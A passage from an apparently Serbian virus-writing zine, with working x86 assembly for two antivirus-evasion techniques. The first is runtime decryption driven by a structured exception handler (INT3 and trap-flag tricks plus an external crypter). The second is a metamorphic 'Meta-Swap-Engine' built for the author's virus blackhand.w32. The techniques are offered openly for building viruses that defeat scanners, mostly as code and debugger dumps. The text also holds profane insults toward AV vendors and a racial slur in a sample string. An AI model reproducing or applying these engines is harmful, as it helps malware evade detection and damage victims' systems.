       0040104F   ? DEDE           FICOMP ESI                               ;  Illegal use of register
       00401051   . 55             PUSH EBP
       00401052   ? BA FAD635D2    MOV EDX,D235D6FA
       00401057  /$ ED             IN EAX,DX                                ;  I/O command
       00401058  |? 0C BA          OR AL,0BA
       0040105A  |? 21EC           AND ESP,EBP
       0040105C  |. BA 57FCED1E    MOV EDX,1EEDFC57
       00401061  |. 57             PUSH EDI
       00401062  |? DEED           FSUBP ST(5),ST
       00401064  |? 0C BA          OR AL,0BA
       00401066  |? 51             PUSH ECX
       00401067  |? DC8412 36D4DED>FADD QWORD PTR DS:[EDX+EDX+DEDED436]
       0040106E  |? DE12           FICOM WORD PTR DS:[EDX]
       00401070  |. B4 DE          MOV AH,0DE                               ; /ExitCode
       00401072  |. 1236           ADC DH,BYTE PTR DS:[ESI]                 ; |
       00401074   ? 91             XCHG EAX,ECX
       00401075   ? DEDE           FICOMP ESI                               ;  Illegal use of register
       00401077   ? DE12           FICOM WORD PTR DS:[EDX]
       00401079   $ 9C             PUSHFD
       0040107A   . 9D             POPFD
       0040107B   . CC             INT3
       0040107C   . 8E12           MOV SS,WORD PTR DS:[EDX]                 ;  Modification of segment register
       0040107E   . 35 D6129C9D    XOR EAX,9D9C12D6
       00401083   . CC             INT3
       00401084   . 8612           XCHG BYTE PTR DS:[EDX],DL
       00401086   . 1D 129C9DCC    SBB EAX,CC9D9C12
       0040108B   . 66:001E        ADD BYTE PTR DS:[ESI],BL
       0040108E   ? 73 00          JNB SHORT makro2.00401090
       00401090   . 1235 3012C800  ADC DH,BYTE PTR DS:[C81230]
       00401096  |? 0000           ADD BYTE PTR DS:[EAX],AL

       
SEH se moze i bilo bi ispravno modifikovati ga samo da procesira BREAKPOINT_EXCEPTION, 
jer ce se desiti da ce ovaj program prilikom debugovanja puci i prostim predavanjem 
SEHu da ga handluje  imacemo problem u tome sto ce on poceti da dekriptuje 
instrukcije, medjutim ako mi proverimo da li je rec o breakpointu, (a is debuggera 
je SEHu predato izvrsavanje zbog Access Violation) nas SEH ce ostati ravnodusan.
Prema tome, novi i bolje uradjen SEH ce izgledati ovako:
       
       sehhandle     proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
                            mov    eax, 1
                            mov    ebx, pException
                            cmp    [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
                            jne    __exit_seh
                            mov    ebx, pContext
                            mov    esi, [ebx.CONTEXT_Eip]                                  
                     
       __decrypt:           inc    esi
                            xor    byte ptr[esi], 0DEh
                            cmp    byte ptr[esi], int3opcode
                            jne    __decrypt
                                        
                            mov    ebx, pContext
                            inc    [ebx.CONTEXT_Eip]   
                            xor    eax, eax
       __exit_seh:          ret    
       sehhandle     endp
       
Problemi sa postojecim makro resenjem
       
Ako ste pratili ceo tekst shvatili ste da je ovaj algoritam u sustini los. Kao 
sto se da videti nas SEH kad god primi int 3h on dekriptuje do sledeceg int 3h, 
medjutim ako instrukcije nisu kriptovane (recimo drugi poziv nekoj funkciji koja
je bila kriptovana) napravice dzumbus, jer ce SEH da dekriptuje dekriptovane 
instrukcije i pretvoriti ih u bog zna sta. Zbog toga pomenute makroe treba 
izmeniti kako bi SEH znao da li je iza int 3h dekriptovana ili enkriptovana
instrukcija( ili blok instrukcija). U te svrhe sam preradio makroe da ovako izgledaju:
       
       fuck_kav_sophos      macro param
                            int    3h
                            db     MAGIC_CRYPTED
                            param
       endm   
       
A SEH ce na osnovu db koji se nalazi posle int 3h znati da li da dekriptuje ili
samo da prebaci eip na instrukciju. 
Novi preradjeni SEH ce izgledati ovako:
       
       sehhandle     proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
                            mov    eax, 1
                            mov    ebx, pException       
       __check_break:       cmp    [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
                            jne    __exit_seh
                            mov    ebx, pContext
                            mov    esi, [ebx.CONTEXT_Eip]                                  
                            cmp    byte   ptr[esi+1], MAGIC_CRYPTED
                            je     __execute
       __decrypt:           inc    esi
                            xor    byte ptr[esi], XOR_KEY
                            cmp    byte ptr[esi], int3opcode
                            jne    __decrypt
                                        
       __execute:           mov    ebx, pContext
                            add    [ebx.CONTEXT_Eip],2
                        
                            xor    eax, eax
       __exit_seh:          ret    
       sehhandle     endp
       
Prvo proveravamo da li je rec o EXCEPTION_BREAKPOINT, ako jeste moramo proveriti
da li je instrukcija kriptovana ili nije to cinimo prostim proveravanjem za
bajtom koji sledi int 3h instrukciju. Na taj nacin omogucavamo dupli prelaz preko 
enkriptovanih instrukcija. Takodje morate voditi racuna sta postavljate za 
MAGIC_CRYPTED jer pod nekim nerazjsanjenim okolnostima OllyDbg moze da prebaci 
izvrsavanje SEH i da se sve lepo dekritptuje i posle sa CTRL-A da analizira 
dekriptovani kod i dobijemo prave instrukcije. Naime, ja sam kao MAGIC_CRYPTED
koristio 0ADh sto je ekvivalentno sa lodsd (1 byteduga instrukcija), kako bi 
zeznuli ovaj, jos meni, nejasan nacin predavanja exceptiona kodu mozemo se koristi 
znanjem koje smo stekli analizirajuci format instrukcija na IA32. Moj predlog je
koriscenje sledecih MAGIC_CRYPTED : 81h -> mov reg/mem, imm32 sto moze da
konstruise instrukciju od 11byte u zavisnosti od modrm
F7 i F6 -> mogu biti test/neg/not/div i jos instrukcija u zavisnosti od opcode 
           polaj u modr/m
D7-DF -> ovo su instrukcije koje predstavljau FPU i pracene su sa mod/rm znaci
         min 2 byte
0F    -> prefix za instrukcije ciji je opcode 2 byte + modr/m ako se ne varam u 
         ovo potpadaju i vecina mmx instrukcije i jos gomila drugih koje nisam
         ispitao praveci moj LDEx86.

Kriptujmo sve u kodu.
       
Sigurno ste primetili da dosadasnje resenje ima jedan mali nedostatak, a to je
da se prvi int 3h vidi, odnosno ostaje gola instrukcija. Da bi prevaziso ovaj 
problem posluzio sam se postavljanjem TRAP flaga u Eflags kako bi znao kad da 
dekriptujem prvi int 3h. Postavljanjem TRAP flaga omogucavamo da procesor generise 
exception posle izvrsavanja jedne instrukcije. Trap flag se moze lako postaviti
sledecim makro-om.
       
       fuck_kav_sophos_trap        macro
                            pushf
                            or     dword ptr[esp], 100h
                            popf
                            jmp    $+2
       endm
       
jmp $+2 je instrukcija koja nece biti tracovana posle postavljanja TRAP flaga i 
zato skacemo na sledecu instrukciju, koja je u sustini kriptovani int 3h, tako 
da ce se exception predati nasem SEHu i nama ostaje samo da dekriptujemo 1byte
(int 3h) na koji EIP pokazuje, da ocistimo TRAP flag (za svaki slucaj iako ga 
seh cisti) i da nastavimo izvrsavanje koda odande gde smo i stali. Posle toga ce 
se pozivati SEH za breakpoint i idemo, dekriptujemo sve zivo po vec izlozenom
modelu. Novi SEH i kod snippet izgledaju ovako :
       
       __go:                fuck_kav_sophos_trap

       __fuck_kav_sophos:   fuck_kav_sophos <call       __anti_emulation>
                            fuck_kav_sophos <call       __anti_emu_msg>
       ...
       sehhandle     proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
                            mov    eax, 1
                            mov    ebx, pException
                            cmp    [ebx.ER_ExceptionCode], EXCEPTION_SINGLE_STEP
                            jne     __check_break
                            mov    ebx, pContext
                            and    [ebx.CONTEXT_EFlags], 0FFFFFEFFh
                            mov    esi, [ebx.CONTEXT_Eip]
                            xor    byte ptr[esi], XOR_KEY
                            xor    eax, eax
                            jmp    __exit_seh
       __check_break:       cmp    [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
                            jne    __exit_seh
                            mov    ebx, pContext
                            mov    esi, [ebx.CONTEXT_Eip]                                  
                            cmp    byte   ptr[esi+1], MAGIC_CRYPTED
                            je     __execute
       __decrypt:           inc    esi
                            xor    byte ptr[esi], XOR_KEY
                            cmp    byte ptr[esi], int3opcode
                            jne    __decrypt
                                        
       __execute:           mov    ebx, pContext
                            add    [ebx.CONTEXT_Eip],2
                        
                            xor    eax, eax
       __exit_seh:          ret    
       sehhandle     endp
       
Medjutim kad ovo radimo mi zelimo da izbegnemo da se nas kod unutar samog sebe 
enkriptuje. E zato sam ja pribegao pisanju spoljnjeg kriptera u C koji ce sav
posao odraditi za nas. Problem je kako naci gde pocinje, a gde se zavrsava kod 
koji hocemo da kriptujemo. Nista lakse, ubacimo stringove u kod koje ce nas 
program traziti i kako ce znati odakle, dokle da kriptuje. Primer:
       
                            jmp    __go                
                            db     "ENCRYPT",0                     
       __go:                fuck_kav_sophos_trap

       __fuck_kav_sophos:   fuck_kav_sophos <call       __anti_emulation>
       ...
       __end_fuck_kav_sophos:
                            db     "ENDENCRYPT",0
                            
Sad je potrebno samo napisati program koji ce traziti ova dva stringa u EXE fajlu 
i kriptovati izmedju njih sve sto nadje. Evo kako izgleda deo koda kriptovan preko 
spoljnjeg kriptera:
       
       00401011   . EB 08          JMP SHORT makro6.0040101B
       00401013     FF             DB FF
       00401014     FF             DB FF
       00401015     FF             DB FF
       00401016     FF             DB FF
       00401017     FF             DB FF
       00401018     FF             DB FF
       00401019     FF             DB FF
       0040101A     FF             DB FF
       0040101B   > 9C             PUSHFD
       0040101C   . 810C24 0001000>OR DWORD PTR SS:[ESP],100
       00401023   . 9D             POPFD
       00401024   . EB 00          JMP SHORT makro6.00401026
       00401026   > 1273 36        ADC DH,BYTE PTR DS:[EBX+36]
       00401029   . 52             PUSH EDX
       0040102A     DE             DB DE
       0040102B     DE             DB DE
       0040102C     DE             DB DE
       0040102D     12             DB 12
       0040102E     73             DB 73                                    ;  CHAR 's'
       0040102F     36             DB 36                                    ;  CHAR '6'
       00401030     47             DB 47                                    ;  CHAR 'G'
       00401031     DE             DB DE
       00401032     DE             DB DE
       00401033     DE             DB DE
       00401034     12             DB 12
       00401035     73             DB 73                                    ;  CHAR 's'
       00401036     B4             DB B4
       00401037     DE             DB DE
       00401038     12             DB 12
       00401039     73             DB 73                                    ;  CHAR 's'
       0040103A     B6             DB B6
       0040103B   . DEFE9EDE       DD DE9EFEDE
       0040103F     12             DB 12
       00401040     73             DB 73                                    ;  CHAR 's'
       00401041     B6             DB B6
       00401042   . D8FE9EDE       DD DE9EFED8
       00401046     12             DB 12
       ...
       
Kao sto se vidi na 00401013, sam umesto ENCRYPT,0 stavio 0xFF da eliminisem taj 
string, dakle preskacemo kod enkripcije duzinu stringa + duzinu fuck_kav_sophos_trap 
i kriptujemo sve do stringa ENDENCRYPT i imamo lepo kriptovan kod koji ce malo 
izludjivati AV kompanije kod dekriptovanja istog. Svakako da je moguce uraditi 
bolju dekripciju/enkripciju, menjati kljuceve od generacije do generacije virusa,
menjati MAGIC_CODE izmedju int 3h, instrukcije, itd itd. Prilikom implementiranja 
ovog u virus nema nekih problema, mozda deluje komplikovano, ali jedino sto moze 
biti komplikovano u ovom slucaju je pisanje ovakvog virusa ako mislite da 
koristite ovako duga imena za makro. Ostalo je pickin dim, ako uspem da zavrsim 
virus koji ovo koristi do sledeceg ph zine, svakako cete citati o tome :)
       
Uz ovaj tekst su prilozeni makro*.asm koje sam koristio, kao i runtime.c za 
spoljnju enkripciju poslednjeg od ovih makro*.asm, mislim da je makro6.asm u 
pitanju, no sve zavisi od naseg dragog urednika kako ce sve to svrstati :)

Neke lude ideje
       
Kao sto vidite ideja nije losa, ali mozemo da generisemo kod sledeceg oblika u 
virusu:
       
       poly-dekriptor [KRIPTOVAN          CEO                  VIRUS                       ]
       poly-dekriptor [dekriptovan deo virusa][OSTATAK KRIPTOVAN                           ]
       poly-dekriptor [dekriptovan deo virusa][dekriptovan drugi deo][KRIPTOVANO           ]
       poly-dekriptor [dekriptovan deo virusa][dekriptovan drugi deo][dekriptovan ostatak  ]
       
A u okviru svakog od njih mozemo dekriptovati preko runtime. Recimo imamo dobar
poly engin koji dekriptuje jedan deo virusa koji, recimo nalazi sve APIje, zatim
postavljamo SEH sa drugim kljucem koji ce @ runtime dekriptovati drugi deo virusa
koji je zaduzen za infekciju i onda, recimo, na kraju dekriptujemo @ runtime deo 
virusa koji skace na host i slicno.
       
Mislim sad sve ostaje na necijoj masti, granice za koriscenje ovakvih trikova su
nepredvidive. Jednom recju, ovo je jako mocna tehnika ako ovladate njome... I da 
kazem opet, ovo je univerzalna ANTI-* tehnika (anti-debug, anti-heuristik, 
anti-emulation) na koju AV software nije spreman trenutno, ali ko zna, mozda 
jednog dana ojacaju svoje sugave programe...
       
Meni se trenutno u glavi motaju razne ideje po ovom pitanju, ali sta da radim, 
smrtnik sam i nemogu sve da ih sprovedem u delo, but who knows, maybe some day :))

Nacin Debugovanja engina u pocetku
       
Eh, ovo je bilo najteze u pocetku, jedini nacin jeste da debugujete u glavi, da 
znate sta hocete od koda, moj savet je da uradite samo kod koristeci ove makro 
i da ubacite SEH bez enkripcije i dekripcije u debugger i da sa single-stepom 
pratite kako i sta kod radi, barem sam ja tako nasao vecinu bugova u ovom enginu
i sad vam prezentujem finalnu verziju celog engina prateci korake
koje sam ja proso u njegovom razvoju.
       
       
Zavrsne reci
       
Ahhhh ta runtime dekripcija, boze mogu samo da zamislim nekog mazohistu koji 
cita ovakav kod pokusavajuci da provali sta on odista radi. Moguce je normalno 
provaliti sta radi, ali je to malo teze  uraditi.
           
Pa Kaspersky i ostali govnari iz AV kompanija (F-Secure i NOD32 ne spadaju u ovu
grupu) mozete da ga duvate pred novim idejama... Zao mi je sto ne mogu vise da se 
bavim ovim, jer imam obaveze, ali dobro dajem ideje pa nek AV kompanije rade malo, 
a ne samo da se reklamiraju, majku im jebem, sugavu. Najgori dzabalebarosi, samo
sede i kaplju im pare. PA NE MOZE TO TAKO, JA RADIM ZA SVOJ HLEB,
IMA I VI DA RADITE MATER VAM JEBEM.

Prilozeni fajlovi:
  runtime.asm - manuelna redirekcija jcc/jmp/call (short relative)
  makro.asm   - lak za razumevanje koristi makroe i enkripciju u sebi (mali i jasan primer)
  makro2.asm  - demonstrira enkripciju u sebi i skakanje po kriptovanom kodu
  makro3.asm  - finalna verzija koja radi sve o cemu sam pricao
  runtime.c   - spolnji kripter za makro3.asm, sintaksa "runtime.exe makro3.exe"
       
Svi ovi kodovi su pisani u tasm32/bcc32 
       
                                               deroko[at]gmail[dot]com 
                                          http://deroko.headcoders.net
                                                               
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

       
                   Meta-Swap-Engine iliti MSE (Mico$hit engin)
                           
                                                               
       
Teorija i logika MSE engina
       
MSE je nastao kao reakcija na nacin kojim AV kompanije detektuju moj blackhand.w32.
blackhand.w32 je imao lep polimorfni dekriptor koji je bio samo tu da slomije 
scan stringove. Medjutim AV kompanije su pametnije nego sto sam ja bio :) Naime 
njihov algoritam za detekciju virusa je sledeci:
1. Pustiti da se virus dekriptuje
2. Skenirati za dekriptovanim kodom (jer se on ne menja)
       
Dakle sav moj rad oko polimorfnog engina je pao u vodu. Postavlja se pitanje dakle,
kako ibzeci scan stringove. Tu postoje u nacelu dva odgovora.

1. napisati metamorfni kod kao sto je recimo MetaPHOR
2. napiasti swap engin koji ce menjati instrukcije koje se dosta pojavljuju u kodu
       
Prvo resenje je neprihvatljivo, jer je mnogo tesko napisati ga i ja jednostavno
nemam ideju kako da pocnem sa tim. Tako da mi je ovo resenje otpalo odmah na
pocetku, kao nemoguce (moguce ali treba dosta vremena, a kako vremena nemam, a 
vec smo na pragu 64bitne arhitekture opredelio sam se za 
drugo resenje).
       
Drugo resenje je daleko prihvatljivije jer lako mozemo lomiti scan stringove sa
modifikovanjem odredjenih instrukcija koje su veoma ceste, a koje se lako mogu 
prepistai u ekvivalentne instrukcije.
Kao sto je :
              mov    eax, ebx      u      push   ebx
                                          pop    eax
i slicne.
Naime buduci da su instrukcije veoma cesto koriscene mozemo lako napisati engin
koji ce to modifikovati. U konkretnom slucaju, moramo dakle da znamo duzinu 
instrukcija i da proverimo MOD 2gog bajta instrukcije mov kako bi znali da je 
rec o register u register. Ako pak naletimo na push register, moramo proveriti 
da li je sledeca instrukcija pop register i na taj nacin znati da li push/pop 
register mozemo zameniti sa mov reg1/reg2. Ali takodje i sam mov reg1/reg2 je 
polimorfan jer ga mozemo zameniti sa mov reg2/reg1 i promeniti d bit u prvom bajtu 
opcode-a. To je slucaj sa vecinom instrukcija koja imaju odnos reg/reg.
Za ovo cu vas uputiti na jedan divan clanak koji postoji u 29a casopisu (Reference)
       
Kod kodiranja ovog engina moramo znati koje su instrukcije ekvivalenti sa kojima. 
Ja cu ovde izloziti sta je moj engin u mogucnosti da menja i kako ga koristiti. 
Jer objasnjenje engina nije lako uopste i moram priznati da sam vise puta gledao 
Intel Developers Manual Volum 2 kako bi znao sta, gde i kako... + onaj tekst iz 
29a koji sadrzi sve to samo malo uprosceno.
       
Naime prvo krecemo od test/or koji se javljaju posle poziva funkcija i kojima 
proveravamo da li je funkcija uspela ili nije. Buduci da se oni mahom kosite 
posle poziva APIja odlucio sam da njih mutiram i menjam. Duzina im je ista, a 
ono sto moramo proveriti jeste da li se ispred test/or nalazi call i onda ga 
mutirati. Tako da ce nas kod posle mutacije izgledati nesto ovako:
       
        Nece biti menjano             Ovo ce se pormeniti   u   ovo i obrnuto
        ~~~~                          ~~~~                      ~~~~
           |                            |                         |
           V                            V                         V
           +---------------+           +-----------------+      +----------------+     
           | call api      |           | call api        |      | call api       |
           | mov ecx, ebx  |           | test eax, eax   |      | or  eax, eax   |
           | test eax, eax |           | jz  $+12345678h |      | jz $+12345678h |
           +---------------+           +-----------------+      +----------------+
                
Kao sto vidimo prvi slucaj se nece promeniti jer ispred test eax, eax imamo 
instrukciju mov. Naime ovo bi mogli da mutiramo ako bi gledali da li instrukcije
iza call a ispred test ne koriste register koji mi koristimo za test/or i na taj
nacin i to mutirati, ali to je malo slozenije i zahteva mnogo vise kodiranja, a 
ja sam hteo samo da lomim scan stringove.
       
Takodje engin je sposoban da mutira lodsd/stosb jer su oni veoma cesto korisceni 
u virusima. To mu dodje ovako
       
       lodsd                mov    eax, dword ptr[esi]
                            add    esi, 4
       
       stosd                mov    dword ptr[edo], eax
                            add    edi, 4
       
Jedini problem ovde je sto je lodsd 1 byte, a njegov ekvivalent je malo duzi. 
Zato ja i korsitim sledece makroe u virusu (u prvoh generaciji, s mogucnoscu da
se sve vrati na staro u nekoj drugoj generaciji)
       
       @lodsd macro
              lodsd
              db 5 dup(90h)
       endm

       @stosd macro
              stosd
              db 5 dup(90h)
       endm
       
Dakle umesto u kodu da korisitmo lodsd/stosd mi cemo koristiti @lodsd/@stosd 
kako bi kasnije mogli da ih mutiramo u njihove ekvivalente i obrnuto.
       
Takodje jedna od veoma cesto koriscenih instrukcija je kombinacija pushad/popad. 
One su malo komplikovanije nego sto na prvi pogled izgleda. Naime problem je sa
pushad koji mozemo prepisati kao gomilu pusheva. Ali trik je u tome da ako guramo
registre po redu kako to pushad radi dolazimo na jedan mali problem. Naime pushad 
kad gurne esp na stack zajedno sa ostalim registrima stavlja adresu esp u trenutku 
poziva instrukcije, a ne adresu esp koja se dobije posle guranja
       eax, ecx, edx, ebx. Slikovito:
       push   eax                  pushad
       push   ecx
       push   edx
       push   ebx
       push   esp
       push   ebp
       push   esi
       push   edi
Ako pravimo gomilu pusheva moramo modifikovati sacuvani esp da pokazuje na stack 
pre nego sto je doslo do push eax. Na nasu srecu Jacky Qwerty je ovaj posao odradio
za nas u njegovim cuvenim include fajlovima za tasm koji su must-have za pisanje
virusa. Dakle pushad mozemo zameniti sa ovim:
       push   eax                  
       push   ecx
       push   edx
       push   ebx
       push   esp
       push   ebp
       push   esi
       push   edi
       [esp.Pushad_eax],10h ; (16 decimalno = 4 registra od po 4 byte)
       
I tako konstuisemo pushad kroz gomilu pusheva. No ako bi znali da posle pushad 
modifikovanog kroz pusheve ide popad takodje modifikovan kroz popove onda ne bi
morali da menjamo sacuvani esp. No posto mi menjamo instrukcije na principu 
slucajnog broja, mi ne mozemo znati da li iza gomile pusheva imamo popad ili 
popad kao gomilu pop-ova. Situacija sa popad je mnogo laksa i tu samo generisemo 
gomilu popova s tim sto ne pravimo pop esp vec pop ebx ili pop ecx ili pop edx 
jer ce se esp sam namestiti kad popnemo poslednji register koji je sacuvan.
Tako da opet idemo sa makroima ovde, umesto pushad/popad koristimo @pushad/@popad
       @pushad macro
              pushad
              db 15 dup(90h)
       endm

       @popad macro
              popad
              db 7 dup(90h)    
       endm
       
Zatim prelazimo na 2 byte duge i 1 byte duge instrukcije koje koriste registre.
Razmislimo sta je najcesce koriceno u virusu ili uopste u nekom kodu...
       xor    reg/reg       i      mov    reg/reg
       
xor se koristi za postavljanje registra na 0, dakle to mozemo modifikovati da 
izgleda ovako:
       xor    reg/reg       =      sub    reg/reg
E tako cemo i da mutiramo kod, po tom principu, ako xor radi sa 2 ista registra,
mozemo ga zameniti sa sub 2 ista registra i obrnuto, duzina instrukciaj je 2 i 
nema potrebe koristiti neki makro koji ce da popuni prazan prostor (takozvani pading).
       
Takodje mov reg/reg moze biti zamenjeno sa push/pop kombinacijom registra, 
duzina mov u push/pop kombinacije je 2 byte znaci ni ovde ne treba pading.
       
Dakle ovaj kod je u mogucnosti da mutira push/pop mov reg/reg i xor/sub reg/reg 
na ovaj nacin:       

       1.generacija         2.generacija                  3.generacija         4.generacija
       ____________         ____________                  ____________         ____________ 
       mov eax, ebx         push  ebx                     mov eax, ebx         mov eax, ebx 
       xor eax, eax         pop ebx                       sub eax, eax         sub eax, eax
       push ecx             xor eax, eax                  mov edx, ecx         push ecx
       pop  edx             mov edx, ecx                                       pop edx
       
i tako dalje i tako dalje, ako ovom dodamo i pushad/popad i lodsd/stosd i test/or
mozemo da dobijemo lep meta kod koji ce lepo moci da mutira kroz svoj zivot.
Da ga ne tupim vise, idemo sa jednim primerom iz debugera da vidite kako to izgleda
u praksi.
       
       00401000 >/$ B9 54000000    MOV ECX,54
       00401005  |. 51             PUSH ECX                                 ; /Arg2 => 00000054
       00401006  |. 68 10104000    PUSH zine.00401010                       ; |Arg1 = 00401010
       0040100B  |. E8 54000000    CALL zine.00401064                       ; \zine.00401064
       00401010  |. 60             PUSHAD
       00401011  |. 90             NOP
       00401012  |. 90             NOP
       00401013  |. 90             NOP
       00401014  |. 90             NOP
       00401015  |. 90             NOP
       00401016  |. 90             NOP
       00401017  |. 90             NOP
       00401018  |. 90             NOP
       00401019  |. 90             NOP
       0040101A  |. 90             NOP
       0040101B  |. 90             NOP
       0040101C  |. 90             NOP
       0040101D  |. 90             NOP
       0040101E  |. 90             NOP
       0040101F  |. 90             NOP
       00401020  |. B8 13204000    MOV EAX,zine.00402013
       00401025  |. 8BF0           MOV ESI,EAX
       00401027  |. 8BFE           MOV EDI,ESI
       00401029  |. AD             LODS DWORD PTR DS:[ESI]
       0040102A  |. 90             NOP
       0040102B  |. 90             NOP
       0040102C  |. 90             NOP
       0040102D  |. 90             NOP
       0040102E  |. 90             NOP
       0040102F  |. AB             STOS DWORD PTR ES:[EDI]
       00401030  |. 90             NOP
       00401031  |. 90             NOP
       00401032  |. 90             NOP
       00401033  |. 90             NOP
       00401034  |. 90             NOP
       00401035  |. 33C0           XOR EAX,EAX
       00401037  |. 33DB           XOR EBX,EBX
       00401039  |. 33D2           XOR EDX,EDX
       0040103B  |. B8 00204000    MOV EAX,zine.00402000                    ;  ASCII "y0 My nIgGaZ"
       00401040  |. BB 0D204000    MOV EBX,zine.0040200D                    ;  ASCII "hello"
       00401045  |. 8BF0           MOV ESI,EAX
       00401047  |. 8BFB           MOV EDI,EBX
       00401049  |. 52             PUSH EDX                                 ; /Style => MB_OK|MB_APPLMODAL
       0040104A  |. 57             PUSH EDI                                 ; |Title => "hello"
       0040104B  |. 56             PUSH ESI                                 ; |Text => "y0 My nIgGaZ"
       0040104C  |. 52             PUSH EDX                                 ; |hOwner => NULL
       0040104D  |. E8 07050000    CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
       00401052  |. 0BC0           OR EAX,EAX
       00401054  |. 61             POPAD
       00401055  |. 90             NOP
       00401056  |. 90             NOP
       00401057  |. 90             NOP
       00401058  |. 90             NOP
       00401059  |. 90             NOP
       0040105A  |. 90             NOP
       0040105B  |. 90             NOP
       0040105C  |. 33F6           XOR ESI,ESI
       0040105E  |. 56             PUSH ESI                                 ; /ExitCode => 0
       0040105F  \. E8 FB040000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess

       I posle to dodje ovako nesto ->
       
       00401000 >/$ B9 54000000    MOV ECX,54
       00401005  |. 51             PUSH ECX                                 ; /Arg2 => 00000054
       00401006  |. 68 10104000    PUSH zine.00401010                       ; |Arg1 = 00401010
       0040100B  |. E8 54000000    CALL zine.00401064                       ; \zine.00401064
       00401010  |. 50             PUSH EAX
       00401011  |. 51             PUSH ECX      
       00401012  |. 52             PUSH EDX
       00401013  |. 53             PUSH EBX
       00401014  |. 54             PUSH ESP
       00401015  |. 55             PUSH EBP
       00401016  |. 56             PUSH ESI
       00401017  |. 57             PUSH EDI
       00401018  |. 834424 0C 10   ADD DWORD PTR SS:[ESP+C],10
       0040101D  |. 90             NOP
       0040101E  |. 90             NOP
       0040101F  |. 90             NOP
       00401020  |. B8 13204000    MOV EAX,zine.00402013
       00401025  |. 50             PUSH EAX
       00401026  |? 5E             POP ESI
       00401027  |. 56             PUSH ESI
       00401028  |? 5F             POP EDI
       00401029  |. 8B06           MOV EAX,DWORD PTR DS:[ESI]
       0040102B  |. 83C6 04        ADD ESI,4
       0040102E  |. 90             NOP
       0040102F  |. 8907           MOV DWORD PTR DS:[EDI],EAX
       00401031  |. 83C7 04        ADD EDI,4
       00401034  |. 90             NOP
       00401035  |. 2BC0           SUB EAX,EAX
       00401037  |. 2BDB           SUB EBX,EBX
       00401039  |. 2BD2           SUB EDX,EDX
       0040103B  |. B8 00204000    MOV EAX,zine.00402000                    ;  ASCII "y0 My nIgGaZ"
       00401040  |. BB 0D204000    MOV EBX,zine.0040200D                    ;  ASCII "hello"
       00401045  |. 50             PUSH EAX
       00401046  |? 5E             POP ESI
       00401047  |. 53             PUSH EBX
       00401048  |? 5F             POP EDI
       00401049  |. 52             PUSH EDX                                 ; /Style => MB_OK|MB_APPLMODAL
       0040104A  |. 57             PUSH EDI                                 ; |Title => "hello"
       0040104B  |. 56             PUSH ESI                                 ; |Text => "y0 My nIgGaZ"
       0040104C  |. 52             PUSH EDX                                 ; |hOwner => NULL
       0040104D  |. E8 07050000    CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
       00401052  |. 85C0           TEST EAX,EAX
       00401054  |. 5F             POP EDI
       00401055  |. 5E             POP ESI
       00401056  |. 5D             POP EBP
       00401057  |. 5B             POP EBX
       00401058  |. 5B             POP EBX
       00401059  |. 5A             POP EDX
       0040105A  |. 59             POP ECX
       0040105B  |. 58             POP EAX
       0040105C  |. 2BF6           SUB ESI,ESI
       0040105E  |. 56             PUSH ESI                                 ; /ExitCode => 0
       0040105F  \. E8 FB040000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess
       
I kao sto se da videti ceo kod je izmenjen, doduse ne nasumicno vec bas onako 
kako sam ja hteo. A to je da se sve promeni, u blackhand.w32 sam implementirao 
nasumicno menaje po pricnipu EIP gde se nalazi tako sto gledam poslednji byte 
EIPa i ako je ispod 90h onda menjam, ako nije ostavljamo i tako dalje i tako dalje. 
Nije najbolji random number generator ali radi posao u virusu. Jer jednom ubacen 
u drugi fajl virus ce imati drugaciji EIP i onda od toga zavisi i mutacija u sledecoj 
generaciji, kad inficirani fajl inficira drugi itd, itd...
       
       Sintaksa za koriscenje MSE je sledeca:
       +-------------------------------------------------------+
       |call   meta_swap_engine, adresa_virusa, velicina_virusa|
       +-------------------------------------------------------+
       
       Evo i koda koji sam vam gore prezentovao kroz disassembler:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<zine.asm>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
       .586
       .model flat,stdcall
       locals
       jumps

       extrn         MessageBoxA:proc
       extrn         ExitProcess:proc

       include       meta.inc
       include       useful.inc

       .data
                            mText         db     "y0 My nIgGaZ",0
                            mTitle        db     "hello",0
                            dummy         dd     ?

       .code
       __start:
                     mov    ecx, __meta_ends_here - __meta_starts_here
                     call   meta_swap_engine, offset __meta_starts_here, ecx
       __meta_starts_here:                     
                            @pushad
                            mov    eax, offset dummy
                            mov    esi, eax
                            mov    edi, esi
                            @lodsd
                            @stosd
                            xor    eax, eax
                            xor    ebx, ebx
                            xor    edx, edx
                            mov    eax, offset mText
                            mov    ebx, offset mTitle
                            mov    esi, eax
                            mov    edi, ebx
                            call   MessageBoxA, edx, esi, edi, edx
                            or     eax, eax
                            @popad
                            xor    esi, esi
                            call   ExitProcess, esi
       __meta_ends_here:

       include              meta.asm                                          
       end    __start           
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<zine.asm>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
       
E sad zamislite ovo, sa gore pomenutom runtime enkripcijom :) Kako ce da boli 
glava AVovce :) I normalno opet Sopshos i KAV luseri mozete ga duvate, a ujedno 
i vase kompanije.
       
NOD32 i F-Secure rulaju (heuristika je buducnost, potpisi su proslost)
I posle Evropa kaze nama Srbima, vi ste okrenuti proslosti?!?!?! 
Ja kazem gluposti, vidite kako idemo napred sa novim tehnikama :))) 
       

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

Reference:
       Polymorphism and intel instruction format - http://www.vx.netlux.org/29a/29a-7/Articles/29A-7.027
       Metamorphism in practice                  - http://www.vx.netlux.org/29a/29a-6/29a-6.205
       Intel Architecture Software Developer's Manual:
                     Volume 2 - Instruction Set Reference
